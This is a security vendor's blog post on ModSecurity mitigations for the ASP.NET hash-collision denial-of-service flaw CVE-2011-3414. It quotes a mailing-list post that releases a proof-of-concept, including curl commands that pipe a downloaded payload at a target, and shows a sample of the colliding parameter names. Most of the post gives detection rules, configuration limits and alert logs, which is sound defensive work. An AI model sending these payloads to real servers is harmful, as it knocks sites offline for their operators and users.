Trustwave's 2024 Financial Services Threat Reports Highlight Alarming Trends in Insider Threats & Phishing-as-a-Service. Learn More

Trustwave's 2024 Financial Services Threat Reports Highlight Alarming Trends in Insider Threats & Phishing-as-a-Service. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

ModSecurity Mitigations for ASP.NET HashTable DoS Vulnerability (CVE-2011-3414)

ThreatPost had a news story today about PoC code that was released to the full disclosures mail-list:

 

ASP.NET HashDoS PoC/exploit payload


From: Disaster <disaster () sdf-eu org>
Date: Fri, 6 Jan 2012 23:19:07 +0000


folks,

ASP.NET HashDoS PoC/exploit payload ready for download.
get it. use it. spread it.

https://github.com/HybrisDisaster/aspHashDoS

use it your own way.

curl https://raw.github.com/HybrisDisaster/aspHashDoS/asphashdos.4mb | curl http://target/website.aspx -d () -
cat asphashdos.1mb | curl http://target/website.aspx -d () -


--
We are Legion. Expect us.

The PoC code comes in two different sizes: a 1 MB file and a 4 MB file. The HTTP payload consists of a very large number of random parameter names, all with empty payloads. Here is a short snippet:

3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686
YJQJ8K=&9XUUCJEENJ=&FX4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=
&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&DO9WX2R9H=&RYLZSIQT8V=&KR9B
BFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&LE72GBPWB=&
amp;EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST
36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=
&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23
UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=
&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE=&R1
FFQRM5T=&28HUK0QHY=&HQN8TCEF8O=&XNXKKGA26=&HGKBTESRZ=&JRF6S5VDTD=&am
p;38LYMK6E25=&LWJ9ZPMJKB=&MIIPJFF9IQZ=&T7NR6K1WH=&32OX9ZI2EG=&6XOVR0
M63Q=&Q30KI9EPH8=&MIH8YKJQ1GG=&N3E5JY88DV=&61CFHO1CK0=&MJJ0BGBNFLR=&
amp;0WWGKU5U41=&6BALVVVD70=&WP8RSB0FOI=&LXS45ETZC4V=&0ZPQL9FA5=&1XTR
HVLNN1=&8CM19ORQRL=&30AY63OK3E=&G6REPF004H=&3J3D3VNHON=&BZQFCAP6FDE=
&MTHW3ALV7U=&2JS320Y1O1=&B0YC5TXNB1=&LNOJV48BS=&D07ZA81NOJV=&Y5N
YWOTNBW=&L1EQYKFQ66=&GQQK1DW76C=&CQ29SZT9Q=&4GR6HVU473=&YGYVZBX2O=&a
mp;DD8CT8BIP=&H1YT271ZWA=&JJBUT364HV=&NBQI03HG4=&AVOCATLKQ4=&CVXC3C6
EX9=&8B0DP2WO0H=&LD0JAGD783=&IE8Z892OXV0=&IU8BODMF93=&J5NU4WRJ3=&
;KSL8ADCBBS5=&PX4Q06YCEX=&5AC6J6ZNE=&NPRVWDVVOBH=&T9J3LGT57E=&BJPHHF
U5R=&VP06AOG7ZH=&2KNAKSVPP4=&V56TPLOPLB=&ZS7GXLL58=&CDJSSBGKHG=&
BZOT9HXJU6O=&NP37RNJXEMP=&I9GBVL4Z7HR=&VIXSRTUTK4=&KJIW62MYC=&FPIWCZ
FJ1=<LGEOEI9=&NA0KPUB6SZ=...

The result of this is that the empty payloads will all be hashes by ASP.NET to the same value, thus causing the collision DoS scenario.

 

ModSecurity Mitigations

Restrict the Request Body Size

ModSecurity includes a directive called SecRequestBodyNoFilesLimit that can restrict the request body size as follows:

SecRequestBodyNoFilesLimit

Description: Configures the maximum request body size ModSecurity will accept for buffering, excluding the size of any files being transported in the request. This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. Web applications that require file uploads must configure SecRequestBodyLimit to a high value, but because large files are streamed to disk, file uploads will not increase memory consumption. However, it's still possible for someone to take advantage of a large request body limit and send non-upload requests with large body sizes. This directive eliminates that loophole.

Syntax:SecRequestBodyNoFilesLimit NUMBER_IN_BYTES

Example Usage:SecRequestBodyLimit 131072

Scope: Any

Version: 2.5.0

Default: 1048576 (1 MB)

Generally speaking, the default value is not small enough. For most applications, you should be able to reduce it down to 128 KB or lower. Anything over the limit will be rejected with status code 413 (Request Entity Too Large). There is a hard limit of 1 GB.

The ModSecurity source code includes a modsecurity.conf-recommended file with the following settings:

# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072

When the Hash DoS PoC is run against an Apache server with this ModSecurity setting, it will generate the following alert:

[Mon Jan 09 16:42:05 2012] [error] [client 127.0.0.1] ModSecurity: Request body no files data length is larger than the configured limit (131072).. Deny with code (413) [hostname "localhost"] [uri "/website.aspx"] [unique_id "TwtfLcCoqAEAAACKG2YAAAAB"]

 

Restrict the Number of ARGS

In order to carry out a successful Hash DoS attack, the payload needs to have an abnormally large number of parameters. For example, the 1 MB DoS file has 10749 parameters in it. The OWASP ModSecurity Core Rule Set (CRS) has a default rule in the modsecurity_crs_23_request_limits.conf file that will restrict the total number of ARGS within a request:

# Maximum number of arguments in request limited
SecRule &TX:MAX_NUM_ARGS "@eq 1" "chain,phase:2,t:none,block,msg:'Too many arguments in request',id:'960335',severity:'4',rev:'2.2.3'"
SecRule &ARGS "@gt %{tx.max_num_args}" "t:none,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.policy_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-POLICY/SIZE_LIMIT-%{matched_var_name}=%{matched_var}"

The amount of ARGS allowed is controlled by the Admin and set within the modsecurity_crs_10_config.conf file:

#
# -=[ HTTP Policy Settings ]=-
#
# Set the following policy settings here and they will be propagated to the 23 rules
# file (modsecurity_common_23_request_limits.conf) by using macro expansion.
# If you run into false positives, you can adjust the settings here.
#
# Only the max number of args is uncommented by default as there are a high rate
# of false positives. Uncomment the items you wish to set.
#
## Maximum number of arguments in request limited
SecAction "phase:1,id:'981211',t:none,nolog,pass,setvar:tx.max_num_args=255"

When the Hash DoS PoC code is run against an Apache server with the CRS configured in a blocking mode, it will deny the request and trigger the following alert:

[Mon Jan 09 16:50:51 2012] [error] [client 127.0.0.1] 
ModSecurity: Access denied with code 403 (phase 2). Operator GT matched 255 at ARGS. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_23_request_limits.conf"] [line "31"] [id "960335"] [rev "2.2.3"] [msg "Too many arguments in request"] [severity "WARNING"] [hostname "localhost"] [uri "/website.aspx"] [unique_id "TwthOsCoqAEAAAYxEskAAAAA"]

 

Identifying Repetitive Payloads

As stated above, this attack works by forcing a large number of hash collisions by setting a large number of payloads all with the same value. In the PoC shown, all the parameter payloads are empty and thus would result in the same hash value. The payload doesn't have to be empty. It could be a 1 or the word foo, etc... but they all have to be the same. Due to this exploit characteristic, we can construct the following ModSecurity rule that will identify repetitive payloads:

SecRule &ARGS "@ge 1000" "chain,phase:2,t:none,block,msg:'Possible Hash DoS Attack Identified.',tag:'http://blogs.technet.com/b/srd/archive/2011/12/27/more-information-about-the-december-2011-asp-net-vulnerability.aspx?Redirected=true'"
SecRule REQUEST_BODY "^\w*?=(.*?)&\w*?=(.*?)&\w*?=(.*?)&\w*?=(.*?)&" "chain,capture"
SecRule TX:1 "@streq %{tx.2}" "chain,setvar:tx.hash_dos_match=+1"
SecRule TX:2 "@streq %{tx.3}" "chain,setvar:tx.hash_dos_match=+1"
SecRule TX:3 "@streq %{tx.4}" "chain,setvar:tx.hash_dos_match=+1"
SecRule TX:HASH_DOS_MATCH "@eq 3"

This rule first checks to see if the number of ARGS is more than 1000. If this is true, then we use a regex check to capture the first four parameter payloads. These are saved within the ModSecurity TX:1, TX:2, etc... transactional variables. We then check these variables against each other to see if they are the same. If they are, then we increment a new "tx.hash_dos_match" variable. The final rule checks the variable value if it is 3, then we trigger an alert as this means all 4 values we the same. If we run the Hash DoS PoC against a ModSecurity host with this ruleset, we get this alert:

[Mon Jan 09 16:56:15 2012] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 3 at TX:hash_dos_match. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"] 
[msg "Possible Hash DoS Attack Identified."] [tag "http://blogs.technet.com/b/srd/archive/2011/12/27/more-information-about-the-december-2011-asp-net-vulnerability.aspx?Redirected=true"] [hostname "localhost"] [uri "/website.aspx"] [unique_id "Twtif8CoqAEAAApLJl8AAAAA"]

 

Check ARGS Names against PoC Data

The final mitigation option is the weakest of the rules from a potential false negative perspective but it will identify is some is running this PoC against your site. The goal of this rule is to check the ARGS_NAMES in the current transaction against a list of the parameter names from the PoC file. Here is the new rule to use:

SecRule ARGS_NAMES "@pmFromFile hash_dos_param_names.txt" "phase:2,t:none,block,msg:'Hash DoS PoC Attack Identified.',tag:'https://github.com/HybrisDisaster/aspHashDoS'"

This rule uses the @pmFromFile fast set-based pattern-matching operator to check data in the hash_dos_param_name.txt file.

When we run the PoC against a ModSecurity host with this rule, we get the following alert:

[Mon Jan 09 17:05:59 2012] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "3QBZJK5ZX" at ARGS_NAMES:3QBZJK5ZX. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "8"] 
[msg "Hash DoS PoC Attack Identified."] [tag "https://github.com/HybrisDisaster/aspHashDoS"] [hostname "localhost"] [uri "/website.aspx"] [unique_id "Twtkx8CoqAEAABFCGP0AAAAD"]

 

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo